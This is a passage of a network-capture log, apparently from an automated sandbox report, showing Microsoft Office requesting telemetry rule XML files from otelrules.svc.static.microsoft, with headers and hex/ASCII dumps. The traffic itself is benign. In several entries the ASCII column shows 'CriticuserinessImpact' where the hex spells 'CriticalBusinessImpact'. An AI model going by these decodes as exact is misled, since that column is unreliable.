2025-03-13 09:08:24 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 75 74 6f 54 65 6d 70 6c 61 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702601" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AutoTemplate.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.12	49764	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:24 UTC	199	OUT	GET /rules/rule702600v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:25 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:24 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE9956CBB" x-ms-request-id: d4d9698d-c01e-00a1-08f7-937e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090824Z-16c755948998bddbhC1MEMx9s000000008x0000000000qbz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:25 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 75 74 6f 54 65 6d 70 6c 61 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 75 74 6f 54 65 6d 70 6c 61 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702600" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AutoTemplate" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAutoTemplate" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.12	49765	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:24 UTC	199	OUT	GET /rules/rule703201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:25 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE20AC65F" x-ms-request-id: e3749510-e01e-001f-0af7-931633000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090824Z-16c75594899kql76hC1MEM0bv800000008kg000000001mwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:25 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 75 67 4c 6f 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AugLoop.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAu

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.12	49766	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:26 UTC	199	OUT	GET /rules/rule703200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:27 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:27 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE79C7E7F" x-ms-request-id: c2882b52-d01e-0049-28f7-93e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090827Z-16c75594899cfjm7hC1MEMrahs000000087g0000000010tw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:27 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 75 67 4c 6f 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 75 67 4c 6f 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AugLoop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAugLoop" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.12	49768	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:26 UTC	199	OUT	GET /rules/rule700250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:27 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:27 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE88A8C4E" x-ms-request-id: 16805998-201e-00aa-17f7-933928000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090827Z-16c75594899ppct7hC1MEMvyrs0000000af0000000001wd0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:27 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 70 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 70 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Apple" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenApple" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.12	49767	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:26 UTC	199	OUT	GET /rules/rule700251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:27 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED1F47B5" x-ms-request-id: 56ef693e-b01e-0001-28ad-9146e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090827Z-16c75594899cfjm7hC1MEMrahs000000089g00000000094v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-13 09:08:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 70 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 70 70 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Apple.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAppl

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.12	49769	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:27 UTC	199	OUT	GET /rules/rule700651v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:27 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:27 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE63F9252" x-ms-request-id: 37d1cbce-001e-0028-44f7-93c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090827Z-16c75594899kql76hC1MEM0bv800000008m00000000027t8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:27 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 6e 64 72 6f 69 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Android.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAn

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.12	49770	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:27 UTC	199	OUT	GET /rules/rule700650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:28 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:27 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF204895" x-ms-request-id: adc961ce-701e-006f-20f7-93afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090827Z-16c755948994p6rthC1MEMk27s0000000c0g0000000004ne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:28 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 6e 64 72 6f 69 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 6e 64 72 6f 69 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Android" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAndroid" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.12	49771	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:29 UTC	199	OUT	GET /rules/rule703301v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:30 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:30 GMT Content-Type: text/xml Content-Length: 1419 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB88DB43" x-ms-request-id: 1f82f0ef-f01e-0003-1cf7-934453000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090829Z-16c75594899kfxz8hC1MEMp6tc000000093g000000001cgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:30 UTC	1419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 69 72 54 72 61 66 66 69 63 43 6f 6e 74 72 6f 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703301" V="0" DC="SM" EN="Office.Telemetry.Event.Office.AirTrafficControl.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTen

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.12	49773	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:29 UTC	199	OUT	GET /rules/rule701751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:30 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBFFA9D9" x-ms-request-id: 5ba68787-901e-0015-6ef7-93b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090830Z-16c75594899f6qjphC1MEMpr5c0000000c4g0000000019kp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 69 72 53 70 61 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AirSpace.Critical" SP="CriticuserinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenA

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.12	49772	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:29 UTC	199	OUT	GET /rules/rule703300v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:30 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:30 GMT Content-Type: text/xml Content-Length: 1382 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBF2D844" x-ms-request-id: 2a291f8c-201e-0003-36ad-91f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090830Z-16c75594899bpvh5hC1MEM4zp800000005rg000000000cax x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-13 09:08:30 UTC	1382	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 69 72 54 72 61 66 66 69 63 43 6f 6e 74 72 6f 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 69 72 54 72 61 66 66 69 63 43 6f 6e 74 72 6f 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703300" V="0" DC="SM" EN="Office.Telemetry.Event.Office.AirTrafficControl" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAirTrafficControl" S="Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.12	49775	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:08:29 UTC	199	OUT	GET /rules/rule701750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-13 09:08:30 UTC	495	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:08:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC40C5B7" x-ms-request-id: 50b0c34b-701e-003e-48f7-9379b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20250313T090830Z-16c75594899kql76hC1MEM0bv800000008n000000000263s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-03-13 09:08:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 41 69 72 53 70 61 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 41 69 72 73 70 61 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.AirSpace" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenAirspace" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.12	49776	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
